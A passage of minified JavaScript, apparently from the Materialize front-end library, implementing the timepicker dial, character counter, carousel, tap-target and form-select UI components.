a=t.clone(),r=o/6*Math.PI,l=0<o&&o<13?this.options.innerRadius:this.options.outerRadius;a.css({left:this.options.dialRadius+Math.sin(r)*l-this.options.tickRadius+"px",top:this.options.dialRadius-Math.cos(r)*l-this.options.tickRadius+"px"}),a.html(0===o?"00":o),this.hoursView.appendChild(a[0])}}},{key:"_buildMinutesView",value:function(){for(var t=h('<div class="timepicker-tick"></div>'),e=0;e<60;e+=5){var i=t.clone(),n=e/30*Math.PI;i.css({left:this.options.dialRadius+Math.sin(n)*this.options.outerRadius-this.options.tickRadius+"px",top:this.options.dialRadius-Math.cos(n)*this.options.outerRadius-this.options.tickRadius+"px"}),i.html(f._addLeadingZero(e)),this.minutesView.appendChild(i[0])}}},{key:"_handleAmPmClick",value:function(t){var e=h(t.target);this.amOrPm=e.hasClass("am-btn")?"AM":"PM",this._updateAmPmView()}},{key:"_updateAmPmView",value:function(){this.options.twelveHour&&(this.$amBtn.toggleClass("text-primary","AM"===this.amOrPm),this.$pmBtn.toggleClass("text-primary","PM"===this.amOrPm))}},{key:"_updateTimeFromInput",value:function(){var t=((this.el.value||this.options.defaultTime||"")+"").split(":");if(this.options.twelveHour&&void 0!==t[1]&&(0<t[1].toUpperCase().indexOf("AM")?this.amOrPm="AM":this.amOrPm="PM",t[1]=t[1].replace("AM","").replace("PM","")),"now"===t[0]){var e=new Date(+new Date+this.options.fromNow);t=[e.getHours(),e.getMinutes()],this.options.twelveHour&&(this.amOrPm=12<=t[0]&&t[0]<24?"PM":"AM")}this.hours=+t[0]||0,this.minutes=+t[1]||0,this.spanHours.innerHTML=this.hours,this.spanMinutes.innerHTML=f._addLeadingZero(this.minutes),this._updateAmPmView()}},{key:"showView",value:function(t,e){"minutes"===t&&h(this.hoursView).css("visibility");var i="hours"===t,n=i?this.hoursView:this.minutesView,s=i?this.minutesView:this.hoursView;this.currentView=t,h(this.spanHours).toggleClass("text-primary",i),h(this.spanMinutes).toggleClass("text-primary",!i),s.classList.add("timepicker-dial-out"),h(n).css("visibility","visible").removeClass("timepicker-dial-out"),this.resetClock(e),clearTimeout(this.toggleViewTimer),this.toggleViewTimer=setTimeout(function(){h(s).css("visibility","hidden")},this.options.duration)}},{key:"resetClock",value:function(t){var e=this.currentView,i=this[e],n="hours"===e,s=i*(Math.PI/(n?6:30)),o=n&&0<i&&i<13?this.options.innerRadius:this.options.outerRadius,a=Math.sin(s)*o,r=-Math.cos(s)*o,l=this;t?(h(this.canvas).addClass("timepicker-canvas-out"),setTimeout(function(){h(l.canvas).removeClass("timepicker-canvas-out"),l.setHand(a,r)},t)):this.setHand(a,r)}},{key:"setHand",value:function(t,e,i){var n=this,s=Math.atan2(t,-e),o="hours"===this.currentView,a=Math.PI/(o||i?6:30),r=Math.sqrt(t*t+e*e),l=o&&r<(this.options.outerRadius+this.options.innerRadius)/2,h=l?this.options.innerRadius:this.options.outerRadius;this.options.twelveHour&&(h=this.options.outerRadius),s<0&&(s=2*Math.PI+s);var d=Math.round(s/a);s=d*a,this.options.twelveHour?o?0===d&&(d=12):(i&&(d*=5),60===d&&(d=0)):o?(12===d&&(d=0),d=l?0===d?12:d:0===d?0:d+12):(i&&(d*=5),60===d&&(d=0)),this[this.currentView]!==d&&this.vibrate&&this.options.vibrate&&(this.vibrateTimer||(navigator[this.vibrate](10),this.vibrateTimer=setTimeout(function(){n.vibrateTimer=null},100))),this[this.currentView]=d,o?this.spanHours.innerHTML=d:this.spanMinutes.innerHTML=f._addLeadingZero(d);var u=Math.sin(s)*(h-this.options.tickRadius),c=-Math.cos(s)*(h-this.options.tickRadius),p=Math.sin(s)*h,v=-Math.cos(s)*h;this.hand.setAttribute("x2",u),this.hand.setAttribute("y2",c),this.bg.setAttribute("cx",p),this.bg.setAttribute("cy",v)}},{key:"open",value:function(){this.isOpen||(this.isOpen=!0,this._updateTimeFromInput(),this.showView("hours"),this.modal.open())}},{key:"close",value:function(){this.isOpen&&(this.isOpen=!1,this.modal.close())}},{key:"done",value:function(t,e){var i=this.el.value,n=e?"":f._addLeadingZero(this.hours)+":"+f._addLeadingZero(this.minutes);this.time=n,!e&&this.options.twelveHour&&(n=n+" "+this.amOrPm),(this.el.value=n)!==i&&this.$el.trigger("change"),this.close(),this.el.focus()}},{key:"clear",value:function(){this.done(null,!0)}}],[{key:"init",value:function(t,e){return _get(f.__proto__||Object.getPrototypeOf(f),"init",this).call(this,this,t,e)}},{key:"_addLeadingZero",value:function(t){return(t<10?"0":"")+t}},{key:"_createSVGEl",value:function(t){return document.createElementNS("http://www.w3.org/2000/svg",t)}},{key:"_Pos",value:function(t){return t.targetTouches&&1<=t.targetTouches.length?{x:t.targetTouches[0].clientX,y:t.targetTouches[0].clientY}:{x:t.clientX,y:t.clientY}}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Timepicker}},{key:"defaults",get:function(){return e}}]),f}();t._template=['<div class= "modal timepicker-modal">','<div class="modal-content timepicker-container">','<div class="timepicker-digital-display">','<div class="timepicker-text-container">','<div class="timepicker-display-column">','<span class="timepicker-span-hours text-primary"></span>',":",'<span class="timepicker-span-minutes"></span>',"</div>",'<div class="timepicker-display-column timepicker-display-am-pm">','<div class="timepicker-span-am-pm"></div>',"</div>","</div>","</div>",'<div class="timepicker-analog-display">','<div class="timepicker-plate">','<div class="timepicker-canvas"></div>','<div class="timepicker-dial timepicker-hours"></div>','<div class="timepicker-dial timepicker-minutes timepicker-dial-out"></div>',"</div>",'<div class="timepicker-footer"></div>',"</div>","</div>","</div>"].join(""),M.Timepicker=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"timepicker","M_Timepicker")}(cash),function(s){"use strict";var e={},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return(i.el.M_CharacterCounter=i).options=s.extend({},n.defaults,e),i.isInvalid=!1,i.isValidLength=!1,i._setupCounter(),i._setupEventHandlers(),i}return _inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){this._removeEventHandlers(),this.el.CharacterCounter=void 0,this._removeCounter()}},{key:"_setupEventHandlers",value:function(){this._handleUpdateCounterBound=this.updateCounter.bind(this),this.el.addEventListener("focus",this._handleUpdateCounterBound,!0),this.el.addEventListener("input",this._handleUpdateCounterBound,!0)}},{key:"_removeEventHandlers",value:function(){this.el.removeEventListener("focus",this._handleUpdateCounterBound,!0),this.el.removeEventListener("input",this._handleUpdateCounterBound,!0)}},{key:"_setupCounter",value:function(){this.counterEl=document.createElement("span"),s(this.counterEl).addClass("character-counter").css({float:"right","font-size":"12px",height:1}),this.$el.parent().append(this.counterEl)}},{key:"_removeCounter",value:function(){s(this.counterEl).remove()}},{key:"updateCounter",value:function(){var t=+this.$el.attr("data-length"),e=this.el.value.length;this.isValidLength=e<=t;var i=e;t&&(i+="/"+t,this._validateInput()),s(this.counterEl).html(i)}},{key:"_validateInput",value:function(){this.isValidLength&&this.isInvalid?(this.isInvalid=!1,this.$el.removeClass("invalid")):this.isValidLength||this.isInvalid||(this.isInvalid=!0,this.$el.removeClass("valid"),this.$el.addClass("invalid"))}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_CharacterCounter}},{key:"defaults",get:function(){return e}}]),n}();M.CharacterCounter=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"characterCounter","M_CharacterCounter")}(cash),function(b){"use strict";var e={duration:200,dist:-100,shift:0,padding:0,numVisible:5,fullWidth:!1,indicators:!1,noWrap:!1,onCycleTo:null},t=function(t){function i(t,e){_classCallCheck(this,i);var n=_possibleConstructorReturn(this,(i.__proto__||Object.getPrototypeOf(i)).call(this,i,t,e));return(n.el.M_Carousel=n).options=b.extend({},i.defaults,e),n.hasMultipleSlides=1<n.$el.find(".carousel-item").length,n.showIndicators=n.options.indicators&&n.hasMultipleSlides,n.noWrap=n.options.noWrap||!n.hasMultipleSlides,n.pressed=!1,n.dragged=!1,n.offset=n.target=0,n.images=[],n.itemWidth=n.$el.find(".carousel-item").first().innerWidth(),n.itemHeight=n.$el.find(".carousel-item").first().innerHeight(),n.dim=2*n.itemWidth+n.options.padding||1,n._autoScrollBound=n._autoScroll.bind(n),n._trackBound=n._track.bind(n),n.options.fullWidth&&(n.options.dist=0,n._setCarouselHeight(),n.showIndicators&&n.$el.find(".carousel-fixed-item").addClass("with-indicators")),n.$indicators=b('<ul class="indicators"></ul>'),n.$el.find(".carousel-item").each(function(t,e){if(n.images.push(t),n.showIndicators){var i=b('<li class="indicator-item"></li>');0===e&&i[0].classList.add("active"),n.$indicators.append(i)}}),n.showIndicators&&n.$el.append(n.$indicators),n.count=n.images.length,n.options.numVisible=Math.min(n.count,n.options.numVisible),n.xform="transform",["webkit","Moz","O","ms"].every(function(t){var e=t+"Transform";return void 0===document.body.style[e]||(n.xform=e,!1)}),n._setupEventHandlers(),n._scroll(n.offset),n}return _inherits(i,Component),_createClass(i,[{key:"destroy",value:function(){this._removeEventHandlers(),this.el.M_Carousel=void 0}},{key:"_setupEventHandlers",value:function(){var i=this;this._handleCarouselTapBound=this._handleCarouselTap.bind(this),this._handleCarouselDragBound=this._handleCarouselDrag.bind(this),this._handleCarouselReleaseBound=this._handleCarouselRelease.bind(this),this._handleCarouselClickBound=this._handleCarouselClick.bind(this),void 0!==window.ontouchstart&&(this.el.addEventListener("touchstart",this._handleCarouselTapBound),this.el.addEventListener("touchmove",this._handleCarouselDragBound),this.el.addEventListener("touchend",this._handleCarouselReleaseBound)),this.el.addEventListener("mousedown",this._handleCarouselTapBound),this.el.addEventListener("mousemove",this._handleCarouselDragBound),this.el.addEventListener("mouseup",this._handleCarouselReleaseBound),this.el.addEventListener("mouseleave",this._handleCarouselReleaseBound),this.el.addEventListener("click",this._handleCarouselClickBound),this.showIndicators&&this.$indicators&&(this._handleIndicatorClickBound=this._handleIndicatorClick.bind(this),this.$indicators.find(".indicator-item").each(function(t,e){t.addEventListener("click",i._handleIndicatorClickBound)}));var t=M.throttle(this._handleResize,200);this._handleThrottledResizeBound=t.bind(this),window.addEventListener("resize",this._handleThrottledResizeBound)}},{key:"_removeEventHandlers",value:function(){var i=this;void 0!==window.ontouchstart&&(this.el.removeEventListener("touchstart",this._handleCarouselTapBound),this.el.removeEventListener("touchmove",this._handleCarouselDragBound),this.el.removeEventListener("touchend",this._handleCarouselReleaseBound)),this.el.removeEventListener("mousedown",this._handleCarouselTapBound),this.el.removeEventListener("mousemove",this._handleCarouselDragBound),this.el.removeEventListener("mouseup",this._handleCarouselReleaseBound),this.el.removeEventListener("mouseleave",this._handleCarouselReleaseBound),this.el.removeEventListener("click",this._handleCarouselClickBound),this.showIndicators&&this.$indicators&&this.$indicators.find(".indicator-item").each(function(t,e){t.removeEventListener("click",i._handleIndicatorClickBound)}),window.removeEventListener("resize",this._handleThrottledResizeBound)}},{key:"_handleCarouselTap",value:function(t){"mousedown"===t.type&&b(t.target).is("img")&&t.preventDefault(),this.pressed=!0,this.dragged=!1,this.verticalDragged=!1,this.reference=this._xpos(t),this.referenceY=this._ypos(t),this.velocity=this.amplitude=0,this.frame=this.offset,this.timestamp=Date.now(),clearInterval(this.ticker),this.ticker=setInterval(this._trackBound,100)}},{key:"_handleCarouselDrag",value:function(t){var e=void 0,i=void 0,n=void 0;if(this.pressed)if(e=this._xpos(t),i=this._ypos(t),n=this.reference-e,Math.abs(this.referenceY-i)<30&&!this.verticalDragged)(2<n||n<-2)&&(this.dragged=!0,this.reference=e,this._scroll(this.offset+n));else{if(this.dragged)return t.preventDefault(),t.stopPropagation(),!1;this.verticalDragged=!0}if(this.dragged)return t.preventDefault(),t.stopPropagation(),!1}},{key:"_handleCarouselRelease",value:function(t){if(this.pressed)return this.pressed=!1,clearInterval(this.ticker),this.target=this.offset,(10<this.velocity||this.velocity<-10)&&(this.amplitude=.9*this.velocity,this.target=this.offset+this.amplitude),this.target=Math.round(this.target/this.dim)*this.dim,this.noWrap&&(this.target>=this.dim*(this.count-1)?this.target=this.dim*(this.count-1):this.target<0&&(this.target=0)),this.amplitude=this.target-this.offset,this.timestamp=Date.now(),requestAnimationFrame(this._autoScrollBound),this.dragged&&(t.preventDefault(),t.stopPropagation()),!1}},{key:"_handleCarouselClick",value:function(t){if(this.dragged)return t.preventDefault(),t.stopPropagation(),!1;if(!this.options.fullWidth){var e=b(t.target).closest(".carousel-item").index();0!==this._wrap(this.center)-e&&(t.preventDefault(),t.stopPropagation()),this._cycleTo(e)}}},{key:"_handleIndicatorClick",value:function(t){t.stopPropagation();var e=b(t.target).closest(".indicator-item");e.length&&this._cycleTo(e.index())}},{key:"_handleResize",value:function(t){this.options.fullWidth?(this.itemWidth=this.$el.find(".carousel-item").first().innerWidth(),this.imageHeight=this.$el.find(".carousel-item.active").height(),this.dim=2*this.itemWidth+this.options.padding,this.offset=2*this.center*this.itemWidth,this.target=this.offset,this._setCarouselHeight(!0)):this._scroll()}},{key:"_setCarouselHeight",value:function(t){var i=this,e=this.$el.find(".carousel-item.active").length?this.$el.find(".carousel-item.active").first():this.$el.find(".carousel-item").first(),n=e.find("img").first();if(n.length)if(n[0].complete){var s=n.height();if(0<s)this.$el.css("height",s+"px");else{var o=n[0].naturalWidth,a=n[0].naturalHeight,r=this.$el.width()/o*a;this.$el.css("height",r+"px")}}else n.one("load",function(t,e){i.$el.css("height",t.offsetHeight+"px")});else if(!t){var l=e.height();this.$el.css("height",l+"px")}}},{key:"_xpos",value:function(t){return t.targetTouches&&1<=t.targetTouches.length?t.targetTouches[0].clientX:t.clientX}},{key:"_ypos",value:function(t){return t.targetTouches&&1<=t.targetTouches.length?t.targetTouches[0].clientY:t.clientY}},{key:"_wrap",value:function(t){return t>=this.count?t%this.count:t<0?this._wrap(this.count+t%this.count):t}},{key:"_track",value:function(){var t,e,i,n;e=(t=Date.now())-this.timestamp,this.timestamp=t,i=this.offset-this.frame,this.frame=this.offset,n=1e3*i/(1+e),this.velocity=.8*n+.2*this.velocity}},{key:"_autoScroll",value:function(){var t=void 0,e=void 0;this.amplitude&&(t=Date.now()-this.timestamp,2<(e=this.amplitude*Math.exp(-t/this.options.duration))||e<-2?(this._scroll(this.target-e),requestAnimationFrame(this._autoScrollBound)):this._scroll(this.target))}},{key:"_scroll",value:function(t){var e=this;this.$el.hasClass("scrolling")||this.el.classList.add("scrolling"),null!=this.scrollingTimeout&&window.clearTimeout(this.scrollingTimeout),this.scrollingTimeout=window.setTimeout(function(){e.$el.removeClass("scrolling")},this.options.duration);var i,n,s,o,a=void 0,r=void 0,l=void 0,h=void 0,d=void 0,u=void 0,c=this.center,p=1/this.options.numVisible;if(this.offset="number"==typeof t?t:this.offset,this.center=Math.floor((this.offset+this.dim/2)/this.dim),o=-(s=(n=this.offset-this.center*this.dim)<0?1:-1)*n*2/this.dim,i=this.count>>1,this.options.fullWidth?(l="translateX(0)",u=1):(l="translateX("+(this.el.clientWidth-this.itemWidth)/2+"px) ",l+="translateY("+(this.el.clientHeight-this.itemHeight)/2+"px)",u=1-p*o),this.showIndicators){var v=this.center%this.count,f=this.$indicators.find(".indicator-item.active");f.index()!==v&&(f.removeClass("active"),this.$indicators.find(".indicator-item").eq(v)[0].classList.add("active"))}if(!this.noWrap||0<=this.center&&this.center<this.count){r=this.images[this._wrap(this.center)],b(r).hasClass("active")||(this.$el.find(".carousel-item").removeClass("active"),r.classList.add("active"));var m=l+" translateX("+-n/2+"px) translateX("+s*this.options.shift*o*a+"px) translateZ("+this.options.dist*o+"px)";this._updateItemStyle(r,u,0,m)}for(a=1;a<=i;++a){if(this.options.fullWidth?(h=this.options.dist,d=a===i&&n<0?1-o:1):(h=this.options.dist*(2*a+o*s),d=1-p*(2*a+o*s)),!this.noWrap||this.center+a<this.count){r=this.images[this._wrap(this.center+a)];var g=l+" translateX("+(this.options.shift+(this.dim*a-n)/2)+"px) translateZ("+h+"px)";this._updateItemStyle(r,d,-a,g)}if(this.options.fullWidth?(h=this.options.dist,d=a===i&&0<n?1-o:1):(h=this.options.dist*(2*a-o*s),d=1-p*(2*a-o*s)),!this.noWrap||0<=this.center-a){r=this.images[this._wrap(this.center-a)];var _=l+" translateX("+(-this.options.shift+(-this.dim*a-n)/2)+"px) translateZ("+h+"px)";this._updateItemStyle(r,d,-a,_)}}if(!this.noWrap||0<=this.center&&this.center<this.count){r=this.images[this._wrap(this.center)];var y=l+" translateX("+-n/2+"px) translateX("+s*this.options.shift*o+"px) translateZ("+this.options.dist*o+"px)";this._updateItemStyle(r,u,0,y)}var k=this.$el.find(".carousel-item").eq(this._wrap(this.center));c!==this.center&&"function"==typeof this.options.onCycleTo&&this.options.onCycleTo.call(this,k[0],this.dragged),"function"==typeof this.oneTimeCallback&&(this.oneTimeCallback.call(this,k[0],this.dragged),this.oneTimeCallback=null)}},{key:"_updateItemStyle",value:function(t,e,i,n){t.style[this.xform]=n,t.style.zIndex=i,t.style.opacity=e,t.style.visibility="visible"}},{key:"_cycleTo",value:function(t,e){var i=this.center%this.count-t;this.noWrap||(i<0?Math.abs(i+this.count)<Math.abs(i)&&(i+=this.count):0<i&&Math.abs(i-this.count)<i&&(i-=this.count)),this.target=this.dim*Math.round(this.offset/this.dim),i<0?this.target+=this.dim*Math.abs(i):0<i&&(this.target-=this.dim*i),"function"==typeof e&&(this.oneTimeCallback=e),this.offset!==this.target&&(this.amplitude=this.target-this.offset,this.timestamp=Date.now(),requestAnimationFrame(this._autoScrollBound))}},{key:"next",value:function(t){(void 0===t||isNaN(t))&&(t=1);var e=this.center+t;if(e>=this.count||e<0){if(this.noWrap)return;e=this._wrap(e)}this._cycleTo(e)}},{key:"prev",value:function(t){(void 0===t||isNaN(t))&&(t=1);var e=this.center-t;if(e>=this.count||e<0){if(this.noWrap)return;e=this._wrap(e)}this._cycleTo(e)}},{key:"set",value:function(t,e){if((void 0===t||isNaN(t))&&(t=0),t>this.count||t<0){if(this.noWrap)return;t=this._wrap(t)}this._cycleTo(t,e)}}],[{key:"init",value:function(t,e){return _get(i.__proto__||Object.getPrototypeOf(i),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Carousel}},{key:"defaults",get:function(){return e}}]),i}();M.Carousel=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"carousel","M_Carousel")}(cash),function(S){"use strict";var e={onOpen:void 0,onClose:void 0},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return(i.el.M_TapTarget=i).options=S.extend({},n.defaults,e),i.isOpen=!1,i.$origin=S("#"+i.$el.attr("data-target")),i._setup(),i._calculatePositioning(),i._setupEventHandlers(),i}return _inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){this._removeEventHandlers(),this.el.TapTarget=void 0}},{key:"_setupEventHandlers",value:function(){this._handleDocumentClickBound=this._handleDocumentClick.bind(this),this._handleTargetClickBound=this._handleTargetClick.bind(this),this._handleOriginClickBound=this._handleOriginClick.bind(this),this.el.addEventListener("click",this._handleTargetClickBound),this.originEl.addEventListener("click",this._handleOriginClickBound);var t=M.throttle(this._handleResize,200);this._handleThrottledResizeBound=t.bind(this),window.addEventListener("resize",this._handleThrottledResizeBound)}},{key:"_removeEventHandlers",value:function(){this.el.removeEventListener("click",this._handleTargetClickBound),this.originEl.removeEventListener("click",this._handleOriginClickBound),window.removeEventListener("resize",this._handleThrottledResizeBound)}},{key:"_handleTargetClick",value:function(t){this.open()}},{key:"_handleOriginClick",value:function(t){this.close()}},{key:"_handleResize",value:function(t){this._calculatePositioning()}},{key:"_handleDocumentClick",value:function(t){S(t.target).closest(".tap-target-wrapper").length||(this.close(),t.preventDefault(),t.stopPropagation())}},{key:"_setup",value:function(){this.wrapper=this.$el.parent()[0],this.waveEl=S(this.wrapper).find(".tap-target-wave")[0],this.originEl=S(this.wrapper).find(".tap-target-origin")[0],this.contentEl=this.$el.find(".tap-target-content")[0],S(this.wrapper).hasClass(".tap-target-wrapper")||(this.wrapper=document.createElement("div"),this.wrapper.classList.add("tap-target-wrapper"),this.$el.before(S(this.wrapper)),this.wrapper.append(this.el)),this.contentEl||(this.contentEl=document.createElement("div"),this.contentEl.classList.add("tap-target-content"),this.$el.append(this.contentEl)),this.waveEl||(this.waveEl=document.createElement("div"),this.waveEl.classList.add("tap-target-wave"),this.originEl||(this.originEl=this.$origin.clone(!0,!0),this.originEl.addClass("tap-target-origin"),this.originEl.removeAttr("id"),this.originEl.removeAttr("style"),this.originEl=this.originEl[0],this.waveEl.append(this.originEl)),this.wrapper.append(this.waveEl))}},{key:"_calculatePositioning",value:function(){var t="fixed"===this.$origin.css("position");if(!t)for(var e=this.$origin.parents(),i=0;i<e.length&&!(t="fixed"==S(e[i]).css("position"));i++);var n=this.$origin.outerWidth(),s=this.$origin.outerHeight(),o=t?this.$origin.offset().top-M.getDocumentScrollTop():this.$origin.offset().top,a=t?this.$origin.offset().left-M.getDocumentScrollLeft():this.$origin.offset().left,r=window.innerWidth,l=window.innerHeight,h=r/2,d=l/2,u=a<=h,c=h<a,p=o<=d,v=d<o,f=.25*r<=a&&a<=.75*r,m=this.$el.outerWidth(),g=this.$el.outerHeight(),_=o+s/2-g/2,y=a+n/2-m/2,k=t?"fixed":"absolute",b=f?m:m/2+n,w=g/2,C=p?g/2:0,E=u&&!f?m/2-n:0,O=n,x=v?"bottom":"top",L=2*n,T=L,$=g/2-T/2,B=m/2-L/2,D={};D.top=p?_+"px":"",D.right=c?r-y-m+"px":"",D.bottom=v?l-_-g+"px":"",D.left=u?y+"px":"",D.position=k,S(this.wrapper).css(D),S(this.contentEl).css({width:b+"px",height:w+"px",top:C+"px",right:"0px",bottom:"0px",left:E+"px",padding:O+"px",verticalAlign:x}),S(this.waveEl).css({top:$+"px",left:B+"px",width:L+"px",height:T+"px"})}},{key:"open",value:function(){this.isOpen||("function"==typeof this.options.onOpen&&this.options.onOpen.call(this,this.$origin[0]),this.isOpen=!0,this.wrapper.classList.add("open"),document.body.addEventListener("click",this._handleDocumentClickBound,!0),document.body.addEventListener("touchend",this._handleDocumentClickBound))}},{key:"close",value:function(){this.isOpen&&("function"==typeof this.options.onClose&&this.options.onClose.call(this,this.$origin[0]),this.isOpen=!1,this.wrapper.classList.remove("open"),document.body.removeEventListener("click",this._handleDocumentClickBound,!0),document.body.removeEventListener("touchend",this._handleDocumentClickBound))}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_TapTarget}},{key:"defaults",get:function(){return e}}]),n}();M.TapTarget=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"tapTarget","M_TapTarget")}(cash),function(d){"use strict";var e={classes:"",dropdownOptions:{}},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return i.$el.hasClass("browser-default")?_possibleConstructorReturn(i):((i.el.M_FormSelect=i).options=d.extend({},n.defaults,e),i.isMultiple=i.$el.prop("multiple"),i.el.tabIndex=-1,i._keysSelected={},i._valueDict={},i._setupDropdown(),i._setupEventHandlers(),i)}return _inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){this._removeEventHandlers(),this._removeDropdown(),this.el.M_FormSelect=void 0}},{key:"_setupEventHandlers",value:function(){var e=this;this._handleSelectChangeBound=this._handleSelectChange.bind(this),this._handleOptionClickBound=this._handleOptionClick.bind(this),this._handleInputClickBound=this._handleInputClick.bind(this),d(this.dropdownOptions).find("li:not(.optgroup)").each(function(t){t.addEventListener("click",e._handleOptionClickBound)}),this.el.addEventListener("change",this._handleSelectChangeBound),this.input.addEventListener("click",this._handleInputClickBound)}},{key:"_removeEventHandlers",value:function(){var e=this;d(this.dropdownOptions).find("li:not(.optgroup)").each(function(t){t.removeEventListener("click",e._handleOptionClickBound)}),this.el.removeEventListener("change",this._handleSelectChangeBound),this.input.removeEventListener("click",this._handleInputClickBound)}},{key:"_handleSelectChange",value:function(t){this._setValueToInput()}},{key:"_handleOptionClick",value:function(t){t.preventDefault();var e=d(t.target).closest("li")[0],i=e.id;if(!d(e).hasClass("disabled")&&!d(e).hasClass("optgroup")&&i.length){var n=!0;if(this.isMultiple){var s=d(this.dropdownOptions).find("li.disabled.selected");s.length&&(s.removeClass("selected"),s.find('input[type="checkbox"]').prop("checked",!1),this._toggleEntryFromArray(s[0].id)),n=this._toggleEntryFromArray(i)}else d(this.dropdownOptions).find("li").removeClass("selected"),d(e).toggleClass("selected",n);d(this._valueDict[i].el).prop("selected")!==n&&(d(this._valueDict[i].el).prop("selected",n),this.$el.trigger("change"))}t.stopPropagation()}},{key:"_handleInputClick",value:function(){this.dropdown&&this.dropdown.isOpen&&(this._setValueToInput(),this._setSelectedStates())}},{key:"_setupDropdown",value:function(){var n=this;this.wrapper=document.createElement("div"),d(this.wrapper).addClass("select-wrapper "+this.options.classes),this.$el.before(d(this.wrapper)),this.wrapper.appendChild(this.el),this.el.disabled&&this.wrapper.classList.add("disabled"),this.$selectOptions=this.$el.children("option, optgroup"),this.dropdownOptions=document.createElement("ul"),this.dropdownOptions.id="select-options-"+M.guid(),d(this.dropdownOptions).addClass("dropdown-content select-dropdown "+(this.isMultiple?"multiple-select-dropdown":"")),this.$selectOptions.length&&this.$selectOptions.each(function(t){if(d(t).is("option")){var e=void 0;e=n.isMultiple?n._appendOptionWithIcon(n.$el,t,"multiple"):n._appendOptionWithIcon(n.$el,t),n._addOptionToValueDict(t,e)}else if(d(t).is("optgroup")){var i=d(t).children("option");d(n.dropdownOptions).append(d('<li class="optgroup"><span>'+t.getAttribute("label")+"</span></li>")[0]),i.each(function(t){var e=n._appendOptionWithIcon(n.$el,t,"optgroup-option");n._addOptionToValueDict(t,e)})}}),this.$el.after(this.dropdownOptions),this.input=document.createElement("input"),d(this.input).addClass("select-dropdown dropdown-trigger"),this.input.setAttribute("type","text"),this.input.setAttribute("readonly","true"),this.input.setAttribute("data-target",this.dropdownOptions.id),this.el.disabled&&d(this.input).prop("disabled","true"),this.$el.before(this.input),this._setValueToInput();var t=d('<svg class="caret" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path d="M7 10l5 5 5-5z"/><path d="M0 0h24v24H0z" fill="none"/></svg>');if(this.$el.before(t[0]),!this.el.disabled){var e=d.extend({},this.options.dropdownOptions);e.onOpenEnd=function(t){var e=d(n.dropdownOptions).find(".selected").first();if(e.length&&(M.keyDown=!0,n.dropdown.focusedIndex=e.index(),n.dropdown._focusFocusedItem(),M.keyDown=!1,n.dropdown.isScrollable)){var i=e[0].getBoundingClientRect().top-n.dropdownOptions.getBoundingClientRect().top;i-=n.dropdownOptions.clientHeight/2,n.dropdownOptions.scrollTop=i}},this.isMultiple&&(e.closeOnClick=!1),this.dropdown=M.Dropdown.init(this.input,e)}this._setSelectedStates()}},{key:"_addOptionToValueDict",value:function(t,e){var i=Object.keys(this._valueDict).length,n=this.dropdownOptions.id+i,s={};e.id=n,s.el=t,s.optionEl=e,this._valueDict[n]=s}},{key:"_removeDropdown",value:function(){d(this.wrapper).find(".caret").remove(),d(this.input).remove(),d(this.dropdownOptions).remove(),d(this.wrapper).before(this.$el),d(this.wrapper).remove()}},{key:"_appendOptionWithIcon",value:function(t,e,i){var n=e.disabled?"disabled ":"",s="optgroup-option"===i?"optgroup-option ":"",o=this.isMultiple?'<label><input type="checkbox"'+n+'"/><span>'+e.innerHTML+"</span></label>":e.innerHTML,a=d("<li></li>"),r=d("<span></span>");r.html(o),a.addClass(n+" "+s),a.append(r);var l=e.getAttribute("data-icon");if(l){var h=d('<img alt="" src="'+l+'">');a.prepend(h)}return d(this.dropdownOptions).append(a[0]),a[0]}},{key:"_toggleEntryFromArray",value:function(t){var e=!this._keysSelected.hasOwnProperty(t),i=d(this._valueDict[t].optionEl);return e?this._keysSelected[t]=!0:delete this._keysSelected[t],i.toggleClass("selected",e),i.find('input[type="checkbox"]').prop("checked",e),i.prop("selected",e),e}},{key:"_setValueToInput",value:function(){var i=[];if(this.$el.find("option").each(function(t){if(d(t).prop("selected")){var e=d(t).text();i.push(e)}}),!i.length){var t=this.$el.find("option:disabled").eq(0);t.length&&""===t[0].value&&i.push(t.text())}this.input.value=i.join(", ")}},{key:"_setSelectedStates",value:function(){for(var t in this._keysSelected={},this._valueDict){var e=this._valueDict[t],i=d(e.el).prop("selected");d(e.optionEl).find('input[type="checkbox"]').prop("checked",i),i?(this._activateOption(d(this.dropdownOptions),d(e.optionEl)),this._keysSelected[t]=!0):d(e.optionEl).removeClass("selected")}}},{key:"_activateOption",value:function(t,e){e&&(this.isMultiple||t.find("li.selected").removeClass("selected"),d(e).addClass("selected"))}},{key:"getSelectedValues",value:function(){var t=[];for(var e in this._keysSelected)t.push(this._valueDict[e].el.value);return t}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_FormSelect}},{key:"defaults",get:function(){return e}}]),n}();M.FormSelect=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"formSelect","M_FormSelect")}(cash),function(s,e){"use strict";var i={},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return(i.el.M_Range=i).options=s.extend({},n.defaults,e),i._mousedown=!1,i._setupThumb(),i._setupEventHandlers(),i}return 